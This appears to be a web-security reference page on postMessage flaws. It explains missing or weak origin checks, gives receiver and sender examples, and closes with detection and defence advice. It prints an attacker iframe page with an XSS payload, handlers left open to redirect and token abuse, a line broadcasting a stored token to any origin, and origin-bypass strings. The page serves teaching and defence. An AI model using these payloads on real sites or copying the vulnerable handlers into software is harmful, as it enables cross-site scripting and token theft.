postMessage flaws
TL;DR:
window.addEventListener('message', e => …)handlers that ignoree.originore.sourceaccept attacker-controlled JSON — XSS, action invocation, and cross-origin data theft follow.
What it is
window.postMessage() is the only sanctioned cross-origin DOM messaging channel. The contract is the receiver must verify event.origin (and ideally event.source) before acting on event.data. Receivers in the wild routinely skip the check, parse data as JSON or HTML, and dispatch to innerHTML, eval, setAttribute('href', ...), or postBack URL fields. Symmetric bug: senders that emit secrets to '*' instead of a specific origin leak data to any embedded iframe.
Preconditions / where it applies
- A target site embeds (or is embedded by) an iframe / opens a popup.
- The handler does any of:
- No
origincheck at all. - A
String.indexOforendsWithsubstring check (bypass withtarget.com.evil.tld). - Allows
'null'origin (sandboxed iframe).
- No
- The handler routes the message into a DOM sink, a fetch URL, or a privileged action.
Technique
Find the listener in DevTools — getEventListeners(window).message. Or grep the bundled JS for addEventListener('message' and onmessage.
Receiver-side XSS sink:
1
2
3
window.addEventListener('message', e => {
document.getElementById('out').innerHTML = e.data.html;
});
Attacker page from any origin:
1
2
3
4
5
6
<iframe src="https://target.com/embed" id="t"></iframe>
<script>
document.getElementById('t').onload = () => {
t.contentWindow.postMessage({ html: '<img src=x onerror=alert(1)>' }, '*');
};
</script>
Action invocation when the handler dispatches by type:
1
2
3
4
window.addEventListener('message', e => {
if (e.data.type === 'redirect') location = e.data.url; // → open redirect / XSS
if (e.data.type === 'auth') fetch('/api/token', { method: 'POST', body: JSON.stringify(e.data) });
});
Sender-side leakage:
1
parent.postMessage({ token: localStorage.token }, '*'); // any embedder reads it
An attacker iframes the secret-bearing page (if X-Frame-Options allows it) and captures the broadcast.
Advanced patterns:
- Reverse tabnabbing —
window.opener.postMessagefrom a popup reaches the original page. - Origin-check string bugs —
e.origin.indexOf('target.com') > -1matcheshttps://evil.com/target.com. - JSON.parse on
e.data— prototype-pollution gadget (prototype-pollution) if pollution affects later code paths. BroadcastChannelhas the same model and similar bugs.
Detection and defence
- Receiver MUST exact-match
event.origin === 'https://trusted.target.com'before touchingevent.data. - Optionally verify
event.sourceagainst a known window reference held by the page. - Sender MUST target a specific origin string (
postMessage(data, 'https://target.com')); never'*'for secrets. - Treat
event.dataas untrusted: validate shape with a schema, never pass toinnerHTML,eval,setAttribute('href'). - Strict CSP (no
unsafe-inline) reduces XSS impact, Trusted Types blocks the typical sink. - Audit: grep the prod bundle for
addEventListener\(.message.andpostMessage\(.*\*\).
See also cross-site-scripting, dom-xss, xs-leaks.
References
- PortSwigger – Web Messaging — sinks & sources
- MDN – Window.postMessage — normative
- HackTricks – postMessage vulnerabilities — catalogue of patterns